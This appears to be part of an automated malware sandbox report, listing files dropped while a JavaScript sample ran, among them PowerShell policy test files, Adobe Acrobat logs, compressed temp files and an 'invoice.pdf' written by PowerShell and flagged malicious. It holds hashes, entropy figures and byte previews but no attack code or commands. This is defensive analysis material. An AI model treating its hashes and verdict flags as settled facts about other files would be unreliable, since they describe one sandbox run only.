SHA-512:	FFB5D6612F026E943E9F56288C5FD28716A70C120E5EB1EC1838A3512041069BECD2C9110C604F063438A8C125BDA827DC49E1EFE2707894238E8A3A6AE429C5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.3.:.0.4.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqi3lbrk.u3k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ptunhw0d.snx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 03-04-19-896.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (392), with CRLF line terminators
Category:	dropped
Size (bytes):	15090
Entropy (8bit):	5.375915295938022
Encrypted:	false
SSDEEP:	384:OawXIaxBsJxz4yk61OsxBbGfDsN9CpxPm9hlTbr1/moclYgjxAMXB0B4FNaakVld:0Kz
MD5:	F093528718DFE62FBB139BE3ADC166C5
SHA1:	37A0CCEB51F51DB796413C30D9700ECB99165AC5
SHA-256:	CB7F88485BB29BE7DF6926E04355D59446450A56D795F8FF30B0DF6996DC0EEE
SHA-512:	217490127D347C36B1D54BEECAEDE79C389DB2A9E14CF9BAB16DDA8715D7E6D9DBDE37B7A6DA35687DB6D2D5AD86C17629F432AD780B736E530231C8AAB6FA88
Malicious:	false
Preview:	SessionID=6766070a-4c9f-4b81-b311-8c46c4d14cdd.1736755459923 Timestamp=2025-01-13T03:04:19:923-0500 ThreadID=6512 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6766070a-4c9f-4b81-b311-8c46c4d14cdd.1736755459923 Timestamp=2025-01-13T03:04:19:924-0500 ThreadID=6512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6766070a-4c9f-4b81-b311-8c46c4d14cdd.1736755459923 Timestamp=2025-01-13T03:04:19:924-0500 ThreadID=6512 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6766070a-4c9f-4b81-b311-8c46c4d14cdd.1736755459923 Timestamp=2025-01-13T03:04:19:924-0500 ThreadID=6512 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6766070a-4c9f-4b81-b311-8c46c4d14cdd.1736755459923 Timestamp=2025-01-13T03:04:19:924-0500 ThreadID=6512 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397107836506859
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbaUUQfgRQJlxJScbwI/5cbd:V3fOCIdJDe0UUQfgRQJlxJV/a
MD5:	7D055DBF71149D2D02D1EDFED1FA23F5
SHA1:	BE1995520805AE7B80CF2F83AC57EF28FAB9854B
SHA-256:	0F1FC9261B0F2F3F955F133235806A08E78E811C3BBBAF2FA16913A998715526
SHA-512:	91117A36AC96A6CEDD7882CCA61879A80A05C7D9E5CFCCD462ADDD6E14453A2BFE7EA338ED225242902B6CB0D8BAB4CCCAD27D06DC39C36AF85814B33EB2795C
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1186eb9d-cb34-4fb0-821b-58cdeb99782e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6twYIGNPnmOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:WwZGNbWLxBGZN3mlind9i4ufFXpAXkru
MD5:	68896E7EC6E4E7CB76B1BB2823C73836
SHA1:	9DBC90D71A028F7F15D79014682A5599A9B9295F
SHA-256:	C30C46DBA99B08A6266BA575F8ED9BCEBC880F787DCFCFF62AE17FA124E6A326
SHA-512:	9E35B50161693D6C95DC96BC860D127AA8D8AE8F677B3E006D4D4EBC023E8DB6C8E4AC3BEFA5DC9B646C4B4E2F7CF3D4F5291F4B8D6B749380EEED460981D5B5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\1965ccb2-2ccb-46cc-a2dd-e8b7326316cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\3a9bc74e-a27c-48d7-b955-fdfb6008f7e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\82353ca1-96f7-43e3-a37a-f21e44e08183.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\acrocef_low\cf2a178b-be84-427e-9211-14e4bbc018ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9Uy:O3Pjegf121YS8lkipdjMMNB1DofjgJJO
MD5:	C3A57AA9E02183A6BC1FCB2B997DE0D9
SHA1:	58F66A73A3E47C5157157F4621112385943E85DC
SHA-256:	21ADBA452494525090175E5424FDF2F19F5360B8281E05F2E316ACAF6FF0905C
SHA-512:	91CCA212F1656FDD162C606AF4ED7FD2384725499C95D9AD73E065DC9D16A95E149752DE08A90782BB3D84B352F5F9A33389E670100A4CA38B88EFDF6561B5B3
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d4ba3a64-730e-40b7-87d0-fc67de282bbc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d6d5642c-dd07-444a-b16f-80a975d826d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:ZDA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:lVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	B72DC97965B108EF06BA9CD87F57DB6E
SHA1:	8956170E7DA82E1F859B4D40F2D3828D55A15AEC
SHA-256:	91284717DA9FFA3114F98846F5D9504A54196172E05D45AD2298019BAB2B2C37
SHA-512:	23A9DF0A499786FE91495AE39C74D9F4D878B52F643571EB36F986B2A91F00B9AEF720F7A4AE056864BF87ABB5B250B960E355041E884FA6D23C1C8EA9A88B7E
Malicious:	false
Preview:	...........]..8.}. .)."{g.-.}plw.A........,..Y.tI.g.....)Q.H..'p#p`.U.S.H.)....e....a.><..w.....Dw..9.0Y~.......1.._......j.....Oh.q.\,....tn.....w..i.f..?A../.h.D..........n^......M..w......C....!..4.........w4q..F.1I.!A....(.........TN..'8...Q.........^...za..0Hm/.....{.....\....' ..1..0.qzD........'Y...... .m..8Bh... ...4...z..}.9..Lqp..M \Xe......Q..0..+C.B.4Ijm...o..co..q.d.~.8...\/.4.]....8...1.].D....K.\|...hp\..... .ch.....\.g..Qpf.{N....n<......'.....KS(.k..$Q.R...6..'.....7.!....{.....b....C.v~...x...FO^..O.d.>'>...........&.. ..WR...6...^.D..A...d1\|..F.g..g;.\...m..V..0..le.......4J..p.(..l'.....n_........n.0..P...Y.KJ.S.B.><.\C.}..~....,..k..V....XI#w..B..Q.B...t..\.lB;&!.n.(._=..>...+..a.......N.X{.{..ly.$V......@..E.....R.j.x[..V.....Ij.....mQ....-D....U1..J...F+.%...6.g.T.....X....(...w...8a..\1..^z.6...@R....l.i.A..,.......o..~^bM.E..qW^?.......!..)u.(&*.v....."c.H..Pp..uy...DP8.m3.:T..U=............0-~.B..w...D..'

C:\Users\user\AppData\Local\Temp\acrocef_low\d7f16ca7-c7f5-45d8-8847-dca74ebb4d56.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 921996
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvWTlP:r+Tegs661ybxrr/IxkB1mabFhOXZ/fEh
MD5:	C14EBC9A03804BAB863F67F539F142C6
SHA1:	FD44F63771819778149B24DD4B073940F5D95BFA
SHA-256:	A495629FA5E71EE50BB96F9C4CAEAC46E8B44BFC3F910A073348258F63DFAFCE
SHA-512:	8ED832A54A3925914E3BCFC96A3ABFF63A511ADAC79A869AD1569BB175CC1AF84E6C2BD20FA2187A5C3B733625EDE5D95C2172B24ED2F252835689F6D4A0F5A2
Malicious:	false
Preview:	...........[l\[.......p.a$..$.K...&%J.J...Wuo..dI.vk4.E..P.u..(.....1.I....A...............0.....$ctg.H.'....@.Zk...~.s.A]M.A..:g?.^{...cjL...X..#.Q{......z...m...K.U]-..^V.........@..P...U.R..z.......?......]nG..O{..n........y...v7...~C#..O.z...:...H&..6M;........c..#.y4u.~6.?...V?.%?SW.....K...[..`N.i.1..:..@?i.Q..O...`.....m.!y.{...?=.. .....Zk......%.6......o<.....yA}......no......u,.....U...a.......[S.n..`.....:...1......X..u.u...`..B=.&M.y..s.....}.i..l.'u]. ...6.s`....zdN.F.>;.d%D..}3..b..~..k.......,hl.j..._...F..p.z..o...C..,.Ss.u.Xd..a.Y.{.p...?.k..t,&..'...........^.f.hg....y..Y...i..m....<..^......yK.......;.5...E...K..Q.;k..\|;..B.{m..eS..>b..>...6...wmC.i.....wv..k..{..X...RB.P..?w......1l.H..{{.`g.P.8.Z..v_.G.....f.%+z.....p.P..u}.T.....~r]..W7..._..c.k.....@....y.K...uOSj........^....B..]..~{..;...c....r.J.m.S.}.....k....u*^...5./...{......3.I.p.t...V..........W-..\|.K.N.....n.........Bl...#)..;..4.x.....'....A....x..

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16934), with CRLF line terminators
Entropy (8bit):	4.908646022818701
TrID:
File name:	179861427815317256.js
File size:	20'276 bytes
MD5:	ff53e4bf2b089a3f45412dfd5fa296f9
SHA1:	4179e1d6683dc661ab4d3ca9bea1892be60f18a9
SHA256:	cf2f0a7f352aa45ab8bcb9f03d8eca4998880531c48a546b30c7cc8c79624a7d
